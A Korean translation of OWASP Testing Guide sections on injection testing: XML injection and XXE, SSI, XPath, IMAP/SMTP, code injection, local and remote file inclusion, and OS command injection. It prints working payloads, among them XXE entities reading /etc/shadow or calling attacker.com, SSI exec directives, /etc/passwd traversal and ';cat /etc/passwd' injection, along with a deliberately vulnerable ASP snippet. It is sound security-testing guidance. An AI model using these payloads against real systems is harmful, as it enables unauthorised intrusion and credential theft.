아래 처럼 사용자 등록을 수행하기 위해 XML 스타일 통신을 사용하는 웹 어플리케이션이 있다고 가정합니다. 계정이 생성이 되면, xmlDb 파일에 <user> 노드가 새로 추가됩니다.

<?xml version=”1.0” encoding=”ISO-8859-1”?>
<users>
    <user>
        <username>gandalf</username>
        <password>!c3</password>
        <userid>0</userid>
        <mail>gandalf@middleearth.com</mail>
    </user>
    <user>
        <username>Stefan0</username>
        <password>w1s3c</password>
        <userid>500</userid>
        <mail>Stefan0@whysec.hmm</mail>
    </user>
</users>

예를 들어, 다음 값이 있습니다.

Username: tony
Password: Un6R34kb!e
E-mail: s4tan@hell.com

요청을 진행합니다.

http://www.example.com/addUser.php?
username=tony&
password=Un6R34kb!e&
email=s4tan@hell.com

어플리케이션에서는 다음 노드가 빌드됩니다.

<user>
    <username>tony</username>
    <password>Un6R34kb!e</password>
    <userid>500</userid>
    <mail>s4tan@hell.com</mail>
</user>

다음 xmlDB에 추가될 것입니다.

<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
    <user>
        <username>gandalf</username>
        <password>!c3</password>
        <userid>0</userid>
        <mail>gandalf@middleearth.com</mail>
    </user>
    <user>
        <username>Stefan0</username>
        <password>w1s3c</password>
        <userid>500</userid>
        <mail>Stefan0@whysec.hmm</mail>
    </user>
    <user>
        <username>tony</username>
        <password>Un6R34kb!e</password>
        <userid>500</userid>
        <mail>s4tan@hell.com</mail>
    </user>
</users>

취약점 존재 확인

어플리케이션에 XML 삽입 취약점이 존재하는지 테스트하기 위해 XML 메타 문자를 삽입하는 부분을 확인합니다.

XML metacharacters

  • 싱글 쿼트: '

필터링하지 않을 경우, 인젝션된 값이 태그의 속성 값의 일부가 될 것입니다. XML 파싱 동안 예외가 발생될 수 있습니다.

예를 들어 다음과 같은 속성이 있다고 가정합니다.

<node attrib='$inputValue'/>

그래서 만약 아래와 같이 삽입되면 다음과 같이 속성 값이 삽입됩니다.

inputValue = foo'

<node attrib='foo''/>

  • 더블 쿼트: "

이 문자도 싱글 쿼트와 같으며, 속성 값이 더블 쿼트로 묶여 있는 경우 사용될 수 있습니다.

<node attrib="$inputValue"/>

그래서 만약 아래와 같이 삽입되면 다음과 같이 속성 값이 삽입됩니다.

$inputValue = foo"

<node attrib="foo""/>

  • 부등 기호: >, <

다음과 같이 입력 부분에 개방 또는 폐쇄 괄호를 추가합니다.

Username = foo<

어플리케이션에 다음과 같이 빌드됩니다.

<user>
    <username>foo<</username>
    <password>Un6R34kb!e</password>
    <userid>500</userid>
    <mail>s4tan@hell.com</mail>
</user>

  • 주석 태그: <!--/-->

해당 문자열은 주석의 시작과 종료로 해석됩니다.

Username = foo<!-

어플리케이션에서 다음과 같이 입력되게 됩니다.

<user>
    <username>foo<!--</username>
    <password>Un6R34kb!e</password>
    <userid>500</userid>
    <mail>s4tan@hell.com</mail>
</user>

  • 앰퍼센드: &

앰퍼센드는 엔티티를 표현하기 위한 XML 구문으로 사용됩니다. 엔티티의 형식은 '&symbol;' 입니다. 앤티티는 유니 코드 문자 집합의 문자에 매핑된다.

[예제]

<tagnode>&lt;</tagnode>

위 문자는 '<' 로 표현됩니다.

만약 '&' 가 &amp; 로 자체 인코딩되지 않아, XML 인젝션을 테스트하는 데 사용됩니다.

사실상, 만약 입력이 다음과 같다면 새로운 노드가 아래와 같이 생성될 것입니다.

Username = &foo
<user>
    <username>&foo</username>
    <password>Un6R34kb!e</password>
    <userid>500</userid>
    <mail>s4tan@hell.com</mail>
</user>

  • CDATA section delimiters: <![CDATA[ / ]]>

CDATA 섹션은 마크업으로 인식될 수 있는 문자를 포함하는 텍스트 영역을 빠져나가는데 사용됩니다. 즉, CDATA 섹션에 둘러싸인 문자는 XML 파서에 의해 해석되지 않습니다.

예를 들어, 만약 텍스트 노드에 '<foo>' 문자를 표현해야 한다면, CDATA 섹션을 사용하면 됩니다.

<node>
    <![CDATA[<foo>]]>
</node>

위의 '<foo>' 문자열은 파싱되지 않고 표현될 것입니다.

만약 노드가 다음 방법으로 빌드되어 있다면, 태스터는

<username><![CDATA[<$userName]]></username>

CDATA 문자열 끝에 ']]>' 문자열을 삽입할 수 있습니다.

userName = ]]>

this will become:

<username><![CDATA[]]>]]></username>

CDATA 태그와 관련해서 또 다른 예제로 HTML 페이지를 생성할 수 있는 XML 문서라고 가정해봅시다.

이 경우에는, CDATA 섹션이 필터링 목록에 없을 경우 CDATA를 통해 우회할 수 있습니다. 아래 구체적인 예를 살펴봅시다.

<html>
    $HTMLCode
</html>

공격자는 다음과 같은 입력을 제공할 수 있습니다.

$HTMLCode = <![CDATA[<]]>script<![CDATA[>]]>
alert('xss')<![CDATA[<]]>/script<![CDATA[>]]>

그리고 다음 코드를 포함합니다.

<html>
    <![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/ script<![CDATA[>]]>
</html>

아래와 같이 CDATA 섹션은 제거되고, 다음 HTML 코드가 생성되게 됩니다.

<script>alert('XSS')</script>

결과적으로 XSS 취약점이 발생하게 됩니다.

External Entity:

유효한 엔티티의 집합은 새로운 엔티티를 정의하여 확장될 수 있습니다. 만약 엔티티의 정의가 URI 라면, 엔티티는 외부 엔티티라고 합니다. 다른 구성이 없는 한, 외부 엔티티가 URI(로컬 머신 또는 원격 시스템 파일)에 의해 지정된 리소스에 강제 접근합니다. 이 동작은 XML 외부 엔티티(XXE) 공격에 노출됩니다.

XXE 취약점을 테스트하기 위해서는 다음 입력을 사용할 수 있습니다.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file://dev/random" >]><foo>&xxe;
</foo>

이 테스트에서 만약 XML 파서가 /dev/random 파일 목록으로 엔티티를 대체하려고 하면, 웹 서버가 종료될 수도 있습니다.

또 다른 유용한 테스트 방법입니다.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file://etc/passwd" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file://etc/shadow" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file://c:/boot.ini" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt">]><foo>&xxe;</foo>

태그 인젝션

첫번째 단계가 수행되면, 테스터는 XML 문서의 구조에 대한 정보를 얻을 것입니다. 그리고나서, XML 데이터와 태그를 삽입할 수가 있습니다. 아래에서 권한 상승 공격이 발생할 수 있는 방법을 예제로 보여줄 것입니다.

아래와 같이 이메일에 xml 태그 값을 입력합니다.

Username: tony
Password: Un6R34kb!e
E-mail: s4tan@hell.com</mail><userid>0</userid><mail>s4tan@hell.com

어플리케이션은 새로운 노드를 빌드하고 XML 데이터베이스에 그것을 추가할 것입니다.

<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
    <user>
        <username>gandalf</username>
        <password>!c3</password>
        <userid>0</userid>
        <mail>gandalf@middleearth.com</mail>
    </user>
    <user>
        <username>Stefan0</username>
        <password>w1s3c</password>
        <userid>500</userid>
        <mail>Stefan0@whysec.hmm</mail>
    </user>
    <user>
        <username>tony</username>
        <password>Un6R34kb!e</password>
        <userid>500</userid>
        <mail>s4tan@hell.com</mail><userid>0</userid><mail>s4tan@hell.com</mail>
    </user>
</users>

우리가 삽입한 사용자는 userid 태그에 0을 부여하여 관리자 권한을 획득하였습니다.

XML 문서가 다음 DTD에 의해 지정되었다고 가정합니다.

<!DOCTYPE users [
    <!ELEMENT users (user+) >
    <!ELEMENT user (username,password,userid,mail+) >
    <!ELEMENT username (#PCDATA) >
    <!ELEMENT password (#PCDATA) >
    <!ELEMENT userid (#PCDATA) >
    <!ELEMENT mail (#PCDATA) >
]>

userid 노드가 cardinality 1으로 정의되어 있는 걸 체크합니다. 이 경우에는, 모든 처리가 발생하기 전에 XML 문서가 DTD에 대해 검증되는 경우, 위 공격 방식은 동작하지 않습니다.

그러나, 테스터가 잘못된 노드 앞 일부 노드 값을 제어할 경우 문제는 해결될 수 있습니다. 사실상, 테스터는 주석의 시작과 종료를 주입하여 노드들을 주석처리 할 수 있습니다.

Username: tony
Password: Un6R34kb!e</password><!--
E-mail: --><userid>0</userid><mail>s4tan@hell.com
<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
    <user>
        <username>gandalf</username>
        <password>!c3</password>
        <userid>0</userid>
        <mail>gandalf@middleearth.com</mail>
    </user>
    <user>
        <username>Stefan0</username>
        <password>w1s3c</password>
        <userid>500</userid>
        <mail>Stefan0@whysec.hmm</mail>
    </user>
    <user>
        <username>tony</username>
        <password>Un6R34kb!e</password><!--</password>
        <userid>500</userid>
        <mail>--><userid>0</userid><mail>s4tan@hell.com</mail>
    </user>
</users>

Tools


References

Whitepapers

OTG-INPVAL-009 (SSI Injection 침투 테스트)


개요

Web servers usually give developers the ability to add small pieces of dynamic code inside static HTML pages, without having to deal with full-fledged server-side or client-side languages. This feature is incarnated by the Server-Side Includes (SSI). In SSI injection testing, we test if it is possible to inject into the application data that will be interpreted by SSI mechanisms. A successful exploitation of this vulnerability allows an attacker to inject code into HTML pages or even perform remote code execution.

Server-Side Includes are directives that the web server parses before serving the page to the user. They represent an alternative to writing CGI programs or embedding code using server-side scripting languages, when there’s only need to perform very simple tasks. Common SSI implementations provide commands to include external files, to set and print web server CGI environment variables, and to execute external CGI scripts or system commands.

Putting an SSI directive into a static HTML document is as easy as writing a piece of code like the following:

<!--#echo var="DATE_LOCAL" -->

현재 시간 출력

<!--#include virtual="/cgi-bin/counter.pl" -->

CGI 스크립트 출력

<!--#include virtual="/footer.html" -->

디렉토리에 파일 목록 또는 파일 리스트 출력

<!--#exec cmd="ls" -->

시스템 명령 출력

Then, if the web server’s SSI support is enabled, the server will parse these directives. In the default configuration, usually, most

web servers don’t allow the use of the exec directive to execute system commands. As in every bad input validation situation, problems arise when the user of a web application is allowed to provide data that makes the application or the web server behave in an unforeseen manner. With regard to SSI injection, the attacker could provide input that, if inserted by the application (or maybe directly by the server) into a dynamically generated page, would be parsed as one or more SSI directives. This is a vulnerability very similar to a classical scripting language injection vulnerability. One mitigation is that the web server needs to be configured to allow SSI. On the other hand, SSI injection vulnerabilities are often simpler to exploit, since SSI directives are easy to understand and, at the same time, quite powerful, e.g., they can output the content of files and execute system commands.


테스트 방법


Black Box testing

블랙박스 테스트를 할 때 가장 먼저 찾아야하는 것은 웹 서버에 SSI가 지원하는 지 여부입니다. SSI 지원 여부를 확인하기 위해서는 수집 기술을 이용하여 웹 서버가 실행되는 종류를 알아야합니다.

만약 .shtml 파일이 포함된 경우 SSI는 지원할 것입니다. 불행하게도, shtml 확장 사용은 필수가 아니라서, shtml 파일을 발견하지 못하면 SSI 인젝션 공격에 영향이 없다는 의미는 아닙니다..

다음 스탭에서는 SSI 인젝션 공격이 실제 가능한 지와 만약 가능하다면 우리의 악성 코드를 삽입하는 입력 포인트에 대해 알아보도록 하겠습니다.

The testing activity required to do this is exactly the same used to test for other code injection vulnerabilities. In particular, we need to find every page where the user is allowed to submit some kind of input, and verify whether the application is correctly validating the submitted input. If sanitization is insufficient, we need to test if we can provide data that is going to be displayed unmodified (for example, in an error message or forum post). Besides common user-supplied data, input vectors that should always be considered are HTTP request headers and cookies content, since they can be easily forged.

Once we have a list of potential injection points, we can check if the input is correctly validated and then find out where the provided input is stored. We need to make sure that we can inject characters used in SSI directives:

< ! # = / . " - > and [a-zA-Z0-9]

To test if validation is insufficient, we can input, for example, a string like the following in an input form:

<!--#include virtual="/etc/passwd" -->

This is similar to testing for XSS vulnerabilities using

<script>alert("XSS")</script>

If the application is vulnerable, the directive is injected and it would be interpreted by the server the next time the page is served, thus including the content of the Unix standard password file.

The injection can be performed also in HTTP headers, if the web application is going to use that data to build a dynamically generated page:

GET / HTTP/1.0
Referer: <!--#exec cmd=”/bin/ps ax”-->
User-Agent: <!--#include virtual=”/proc/version”-->

Gray Box testing

If we have access to the application source code, we can quite easily find out:

1. If SSI directives are used. If they are, then the web server is going to have SSI support enabled, making SSI injection at least a potential issue to investigate.

2. Where user input, cookie content and HTTP headers are handled. The complete list of input vectors is then quickly determined.

3. How the input is handled, what kind of filtering is performed, what characters the application is not letting through, and how many types of encoding are taken into account. Performing these steps is mostly a matter of using grep to find the right keywords inside the source code (SSI directives, CGI environment variables, variables assignment involving user input, filtering functions and so on).


Tools


References

Whitepapers

OTG-INPVAL-010 (XPath Injection 침투 테스트)


개요

XPath is a language that has been designed and developed primarily to address parts of an XML document. In XPath injection testing, we test if it is possible to inject XPath syntax into a request interpreted by the application, allowing an attacker to execute user-controlled XPath queries.When successfully exploited, this vulnerability may allow an attacker to bypass authentication mechanisms or access information without proper authorization.

Web applications heavily use databases to store and access the data they need for their operations.Historically, relational databases have been by far the most common technology for data storage, but, in the last years, we are witnessing an increasing popularity for databases that organize data using the XML language. Just like relational databases are accessed via SQL language, XML databases use XPath as their standard query language.

Since, from a conceptual point of view, XPath is very similar to SQL in its purpose and applications, an interesting result is that XPath injection attacks follow the same logic as SQL Injection attacks. In some aspects, XPath is even more powerful than standard SQL, as its whole power is already present in its specifications, whereas a large number of the techniques that can be used in a SQL Injection attack depend on the characteristics of the SQL dialect used by the target database. This means that XPath injection attacks can be much more adaptable and ubiquitous.Another advantage of an XPath injection attack is that, unlike SQL, no ACLs are enforced, as our query can access every part of the XML document.


테스트 방법

XPath 공격 패턴은 Amit Klein에 의해 처음 발표되었고, SQL 인젝션과 매우 유사합니다.

In order to get a first grasp of the problem, let’s imagine a login page that manages the authentication to an application in which the user must enter his/ her username and password. Let’s assume that our database is represented by the following XML file:

<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<account>admin</account>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<account>guest</account>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password>
<account>guest</account>
</user>
</users>

An XPath query that returns the account whose username is "gandalf" and the password is "!c3" would be the following:

string(//user[username/text()='gandalf' and
password/text()='!c3']/account/text())

If the application does not properly filter user input, the tester will be able to inject XPath code and interfere with the query result. For instance, the tester could input the following values:

Username: ' or '1' = '1
Password: ' or '1' = '1

Looks quite familiar, doesn’t it? Using these parameters, the query becomes:

string(//user[username/text()='' or '1' = '1' and
password/text()='' or '1' = '1']/account/text())

As in a common SQL Injection attack, we have created a query that always evaluates to true, which means that the application will authenticate the user even if a username or a password have not been provided. And as in a common SQL Injection attack, with XPath injection, the first step is to insert a single quote (') in the field to be tested, introducing a syntax error in the query, and to check whether the application returns an error message.

If there is no knowledge about the XML data internal details and if the application does not provide useful error messages that help us reconstruct its internal logic, it is possible to perform a Blind XPath Injection attack, whose goal is to reconstruct the whole data structure. The technique is similar to inference based SQL Injection, as the approach is to inject code that creates a query that returns one bit of information. Blind XPath Injection is explained in more detail by Amit Klein in the referenced paper.


References

Whitepapers

OTG-INPVAL-011 (IMAP/SMTP 인젝션 침투 테스트)


개요

This threat affects all applications that communicate with mail servers (IMAP/SMTP), generally webmail applications. The aim of this test is to verify the capacity to inject arbitrary IMAP/SMTP commands into the mail servers, due to input data not being properly sanitized. The IMAP/SMTP Injection technique is more effective if the mail server is not directly accessible from Internet. Where full communication with the backend mail server is possible, it is recommended to conduct direct testing. An IMAP/SMTP Injection makes it possible to access a mail server which otherwise would not be directly accessible from the Internet. In some cases, these internal systems do not have the same level of infrastructure security and hardening that is applied to the front-end web servers.Therefore, mail server results may be more vulnerable to attacks by end users (see the scheme presented in Figure 1).

Figure 1 depicts the flow of traffic generally seen when using webmail technologies. Step 1 and 2 is the user interacting with the webmail client, whereas step 2 is the tester bypassing the webmail client and interacting with the back-end mail servers directly. This technique allows a wide variety of actions and attacks. The possibilities depend on the type and scope of injection and the mail server technology being tested. Some examples of attacks using the IMAP/SMTP Injection technique are:

  • Exploitation of vulnerabilities in the IMAP/SMTP protocol
  • Application restrictions evasion
  • Anti-automation process evasion
  • Information leaks
  • Relay/SPAM

테스트 방법

기본 공격 패턴

  • 취약한 파라미터 확인
  • 데이터 흐름 및 클라이언트 배포 구조 이해
  • IMAP/SMTP 명령 인젝션

취약한 파라미터 확인

취약한 파라미터를 탐지하기 위해서, 테스터는 입력시 어플리케이션이 어떻게 처리되는 지 확인합니다. 입력 검증 테스트는 서버에 위조, 또는 악의적인 요청을 보냈을 때 응답 내용을 분석합니다.

In a secure application, the response should be an error with some corresponding action telling the client that something has gone wrong.

취약한 어플리케이션에서, 악의적인 요청은 "HTTP 200 ok" 응답 메시지로 답한 백엔드 어플리케이션에서 처리될 것입니다.

It is important to note that the requests being sent should match the technology being tested.

Sending SQL injection strings for Microsoft SQL server when a MySQL server is being used will result in false positive responses.

In this case, sending malicious IMAP commands is modus operandi since IMAP is the underlying protocol being tested.

사용할 수 있는 IMAP 특별한 파라미터

On the IMAP server On the SMTP server
Authentication Emissor e-mail
operations with mail boxes Destination e-mail
(list, read, create, delete,rename)  
operations with messages Subject
(read, copy, move, delete)  
Disconnection Message body
  Attached files

이번 예제에서, "mailbox" 파라미터는 모든 요청을 조작하는 데 사용됩니다.

http://<webmail>/src/read_body.php?mailbox=INBOX&
passed_id=46106&startMessage=1

다음 예제를 사용할 수 있습니다.

  • 파라미터에 null 값 할당
http://<webmail>/src/read_body.php?mailbox=&
passed_id=46106&startMessage=1
  • 랜덤한 다른 값으로 값 대체
http://<webmail>/src/read_body.php?mailbox=NOTEXIST&
passed_id=46106&startMessage=1
  • 파라미터에 다른 값 추가
http://<webmail>/src/read_body.php?mailbox=INBOX
PARAMETER2&passed_id=46106&startMessage=1
  • 특수 문자 추가
http://<webmail>/src/read_body.php?mailbox=INBOX"&
passed_id=46106&startMessage=1
  • 파라미터 제거
http://<webmail>/src/read_body.php?passed_id=46106&startMessage=1

위 테스트 쵣종 결과는 테스터에게 세가지 상황을 줍니다.

S1 - 어플리케이션은 에러 코드 및 메세지를 리턴 S2 - 어플리케이션은 에러 코드 및 메시지를 리턴하지 않지만, 요청한 조작을 실행하지 않습니다. S3 - 어플리케이션은 에러 코드 및 메시지를 리턴하지 않고, 요청한 조작을 실행합니다.

S1과 S2 상황은 성공적인 IMAP/SMTP 인젝션을 의미합니다.

An attacker’s aim is receiving the S1 response, as it is an indicator that the application is vulnerable to injection and further manipulation.

Let’s suppose that a user retrieves the email headers using the following HTTP request:

http://<webmail>/src/view_header.php?mailbox=INBOX&-
passed_id=46105&passed_ent_id=0

An attacker might modify the value of the parameter INBOX by injecting the character " (%22 using URL encoding):

http://<webmail>/src/view_header.php?mailbox=INBOX-
%22&passed_id=46105&passed_ent_id=0

In this case, the application answer may be:

ERROR: Bad or malformed request.
Query: SELECT "INBOX""
Server responded: Unexpected extra arguments to Select

The situation S2 is harder to test successfully. The tester needs to use blind command injection in order to determine if the server is vulnerable. On the other hand, the last situation (S3) is not revelant in this paragraph.

예상 결과

  • 취약한 파라미터 리스트
  • 영향 받는 기능
  • 인젝션 가능 형식 (IMAP/SMTP)

데이터 흐름 및 클라이언트 배포 구조 이해

모든 취약한 파라미터를 확인한 후에, 테스터는 가능한 인젝션 부분을 정의하고 어플리케이션을 공격하기 위한 테스트 계획을 설계해야 합니다.

이번 테스트에서는 어플리케이션의 "passed_id" 파라미터가 취약하고 다음 요청을 사용해야 합니다.

http://<webmail>/src/read_body.php?mailbox=INBOX&
passed_id=46225&startMessage=1

다음 테스트 진행

http://<webmail>/src/read_body.php?mailbox=INBOX&
passed_id=test&startMessage=1

다음 에러 메시지 생성

ERROR : Bad or malformed request.
Query: FETCH test:test BODY[HEADER]
Server responded: Error in IMAP command received by
server

이번 예제에서는 에러 메시지에 실행 명령 이름과 관련 파라미터를 리턴합니다.

In other situations, the error message ("not controlled" by the application) contains the name of the executed command, but reading the suitable RFC (see "Reference" paragraph) allows the tester to understand what other possible commands can be executed.

If the application does not return descriptive error messages, the tester needs to analyze the affected functionality to deduce all the possible commands (and parameters) associated with the above mentioned functionality.

For example, if a vulnerable parameter has been detected in the create mailbox functionality, it is logical to assume that the affected IMAP command is "CREATE".

According to the RFC, the CREATE command accepts one parameter which specifies the name of the mailbox to create.

예상 결과

  • IMAP/SMTP 명령 영향 목록
  • Type, value, and number of parameters expected by the affected IMAP/SMTP commands

IMAP/SMTP 명령 인젝션

Once the tester has identified vulnerable parameters and has analyzed the context in which they are executed, the next stage is exploiting the functionality.

This stage has two possible outcomes:

1. The injection is possible in an unauthenticated state: the affected functionality does not require the user to be authenticated. The injected (IMAP) commands available are limited to: CAPABILITY, NOOP, AUTHENTICATE, LOGIN, and LOGOUT.

2. The injection is only possible in an authenticated state: the successful exploitation requires the user to be fully authenticated before testing can continue. In any case, the typical structure of an IMAP/SMTP Injection is as follows:

  • Header: ending of the expected command;
  • Body: injection of the new command;
  • Footer: beginning of the expected command.

It is important to remember that, in order to execute an IMAP/ SMTP command, the previous command must be terminated with the CRLF (%0d%0a) sequence.

Let’s suppose that in the stage 1 ("Identifying vulnerable parameters"), the attacker detects that the parameter "message_id" in the following request is vulnerable:

http://<webmail>/read_email.php?message_id=4791

Let’s suppose also that the outcome of the analysis performed in the stage 2 ("Understanding the data flow and deployment structure of the client") has identified the command and arguments associated with this parameter as:

FETCH 4791 BODY[HEADER]

In this scenario, the IMAP injection structure would be:

http://<webmail>/read_email.php?message_id=4791
BODY[HEADER]%0d%0aV100 CAPABILITY%0d%0aV101
FETCH 4791

Which would generate the following commands:

???? FETCH 4791 BODY[HEADER]
V100 CAPABILITY
V101 FETCH 4791 BODY[HEADER]

where:

Header = 4791 BODY[HEADER]
Body = %0d%0aV100 CAPABILITY%0d%0a
Footer = V101 FETCH 4791

예상 결과

  • 임의의 IMAP/SMTP 명령 인젝션

References

Whitepapers

OTG-INPVAL-012 (코드 인젝션 침투 테스트)


개요

이 섹션은 테스터가 웹 서버에 의해 실행되거나 웹 페이지에 코드를 삽입할 수 있는 지 확인하는 방법을 설명합니다. 코드 인젝션 테스트는 동적 코드 또는 포함된 파일로 웹 서버에 의해 처리할 입력을 제출합니다. 이 테스트는 다양한 서버 사이드 스크립트 엔진(ASP 또는 PHP)을 대상으로 할 수 있습니다. 적절한 입력 유효성 검사와 보안 코딩 연습은 이러한 공격을 방지하기 위해 공부할 필요가 있습니다.


테스트 방법


Black Box testing
PHP 인젝션 취약점 테스트

쿼리 스트링을 사용하여 테스터는 포함된 파일의 일부로 처리할 코드를 삽입할 수 있습니다.

예상결과

http://www.example.com/uptime.php?pin=http://www.
example2.com/packx1/cs.jpg?&cmd=uname%20-a

악성 URL은 PHP 페이지의 파라미터로서 받아들여지고, 이 후 포함된 파일의 값을 사용할 것입니다.


Gray Box testing
ASP 인젝션 취약점 테스트

사용자 입력 ASP 코드 중 실행 함수를 사용하는 지 검사합니다. 사용자가 데이터 입력 필드에 명령을 입력할 수 있는지 확인합니다.

파일로 입력 값을 저장하여 실행하는 ASP 코드:

<%
If not isEmpty(Request( "Data" ) ) Then
Dim fso, f
'User input Data is written to a file named data.txt
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile(Server.MapPath( "data.txt" ), 8, True)
f.Write Request("Data") & vbCrLf
f.close
Set f = nothing
Set fso = Nothing
'Data.txt is executed
Server.Execute( "data.txt" )
Else
%>
<form>
<input name="Data" />
<input type="submit" name="Enter Data" />
</form>
<%
End If
%>)))

References



로컬 파일 인클루션 테스트

개요

로컬 파일 인클루션 취약점은 일반적으로 대상 어플리케이션에서 구현되는 "동적 파일 인클루션" 메카니즘을 이용하여, 공격자가 파일을 포함 할 수 있습니다. 이 취약점으로 인해 적절한 검증없이 사용자가 제공한 입력 사용 때문에 발생합니다.

This can lead to something as outputting the contents of the file, but depending on the severity, it can also lead to:

  • 웹 서버에서 코드 실행
  • XSS와 같이 또 다른 공격을 할 수 있는 자바스크립트와 같은 코드 실행
  • DoS
  • 민감한 정보 노출

Local File Inclusion (also known as LFI) is the process of including files, that are already locally present on the server, through the exploiting of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing directory traversal characters (such as dot-dot-slash) to be injected. Although most examples point to vulnerable PHP scripts, we should keep in mind that it is also common in other technologies such as JSP, ASP and others.


테스트 방법

Since LFI occurs when paths passed to "include" statements are not properly sanitized, in a blackbox testing approach, we should look for scripts which take filenames as parameters.

다음 예를 살펴 보겠습니다.

http://vulnerable_host/preview.php?file=example.html

This looks as a perfect place to try for LFI.

If an attacker is lucky enough, and instead of selecting the appropriate page from the array by its name, the script directly includes the input parameter, it is possible to include arbitrary files on the server.

일반적인 개념 증명은 passwd 파일을 로드하는 것입니다.:

http://vulnerable_host/preview.php?file=../../../../etc/passwd

위에서 언급한 조건이 충족될 경우, 공격자는 아래와 같은 내용을 볼 수 있습니다.:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
alex:x:500:500:alex:/home/alex:/bin/bash
margo:x:501:501::/home/margo:/bin/bash
...

Very often, even when such vulnerability exists, its exploitation is a bit more complex.

다음 코드 일부를 살펴 보겠습니다.

<?php "include/".include($_GET['filename'].".php"); ?>

접미사에 'PHP'가 추가될 경우, 임의의 파일 이름의 간단한 치환은 작동하지 않을 것입니다.

그것을 우회하기 위해서는 널 바이트 종료 문자가 사용됩니다.

%00는 문자열의 끝을 표시하기 때문에, 모든 문자는 이 특수 바이트 이후 무시될 것입니다.

따라서, 다음 요청 또한 공격자에게 기본 사용자 속성 리스트를 리턴할 것입니다.

http://vulnerable_host/preview.php?file=../../../../etc/passwd%00

Remediation

파일 인클루션 취약점을 제거하기 위한 가장 효율적인 방법은 파일 시스템 및 프레임워크 API에 사용자가 제공하는 입력이 지나가는 걸 피하는 것입니다.

만약 어플리케이션에서 위와 같은 설정이 불가능하다면, 파일의 화이트리스트를 유지, 선택한 파일에 대한 접근을 확인하는 식별자를 사용할 수 있습니다.

Any request containing an invalid identifier has to be rejected, in this way there is no attack surface for malicious users to manipulate the path.



리모트 파일 인클루션 테스트

개요

파일 인클루션 취약점은 일반적으로 대상 어플리케이션에서 구현되는 "동적 파일 인클루션" 메카니즘을 이용하여, 공격자가 파일을 포함 할 수 있습니다. 이 취약점으로 인해 적절한 검증없이 사용자가 제공한 입력 사용 때문에 발생합니다.

This can lead to something as outputting the contents of the file, but depending on the severity, it can also lead to:

  • 웹 서버에서 코드 실행
  • XSS와 같이 또 다른 공격을 할 수 있는 자바스크립트와 같은 코드 실행
  • DoS
  • 민감한 정보 노출

Remote File Inclusion (also known as RFI) is the process of including remote files through the exploiting of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing external URL to be injected. Although most examples point to vulnerable PHP scripts, we should keep in mind that it is also common in other technologies such as JSP, ASP and others.


테스트 방법

Since RFI occurs when paths passed to "include" statements are not properly sanitized, in a blackbox testing approach, we should look for scripts which take filenames as parameters. Consider the following PHP example:

In this example the path is extracted from the HTTP request and no input validation is done (for example, by checking the input against a white list), so this snippet of code results vulnerable to this type of attack. Consider infact the following URL:

In this case the remote file is going to be included and any code contained in it is going to be run by the server.


References

Remediation

The most effective solution to eliminate file inclusion vulnerabilities is to avoid passing user-submitted input to any filesystem/framework API. If this is not possible the application can maintain a white list of files, that may be included by the page, and then use an identifier (for example the index number) to access to the selected file. Any request containing an invalid identifier has to be rejected, in this way there is no attack surface for malicious users to manipulate the path.

OTG-INPVAL-013 (커멘드 인젝션 침투 테스트)


개요

이 섹션은 OS 커멘드 인젝션으로 어플리케이션을 테스트하는 방법을 설명합니다. 테스터는 어플리케이션에서 HTTP 요청을 통해 OS 명령을 삽입할 수 있습니다. OS 명령 인젝션은 웹 서버에 OS 명령을 실행하기 위해 웹 인터페이스를 사용하는 기술입니다.

사용자는 웹 인터페이스를 통해 OS 명령을 실행하기 위해 운영체제 명령어를 입력합니다. 제대로 필터링되지 않은 웹 인터페이스는 해당 공격에 취약할 수 있습니다.

OS 명령을 실행하는 명령으로 사용자는 악성 프로그램을 업로드하거나 패스워드를 획득할 수 있습니다. OS 명령 인젝션은 어플리케이션 설계와 개발시 보안이 강조되어 야 예발될 수 있습니다.


테스트 방법

웹 어플리케이션에서 파일을 볼 때, 종종 URL에서 파일명이 보여집니다. Perl은 파이프 명령을 사용할 수 있습니다.

사용자는 간단하게 파일명 끝에 파이프 "|" 기호를 추가할 수 있습니다.

예제

[변경 전]

http://sensitive/cgi-bin/userData.pl?doc=user1.txt

[변경 후]

http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|

위와 같은 경우 "/bin/ls"를 실행할 것입니다.

.PHP 페이지 URL 끝에 세미콜론을 추가하는 것으로 운영체제 명령이 실행될 것입니다.

%3B는 세미콜론이 url 암호화된 것입니다.

예제

http://sensitive/something.php?dir=%3Bcat%20/etc/passwd

예제

인터넷으로부터 브라우징할 수 있는 문서 설정을 포함한 어플리케이션의 경우를 고려해봅시다. 만약 당신이 WebScarab을 사용한다면, POST HTTP를 얻을 수 있습니다.

이 post 요청에서, 어플리케이션이 공개 문서를 검색하는 방법을 알 수 있습니다. 이제 POST HTTP에 운영체제 명령을 삽입하여 추가할 수 있는지 테스트 할 수 있습니다.

다음을 시도해보십시오:

POST http://www.example.com/public/doc HTTP/1.1
